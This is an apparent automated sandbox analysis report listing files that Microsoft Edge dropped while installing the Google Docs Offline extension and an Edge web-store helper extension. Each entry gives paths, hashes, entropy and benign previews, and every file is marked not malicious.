C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\c8e768c4-be7d-4a6a-be1f-7a9ede715c5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir5756_510461122\43937429-d104-4b66-b1a1-ac34b85cdae7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5756_510461122\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5756_510461122\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5756_510461122\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5756_510461122\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
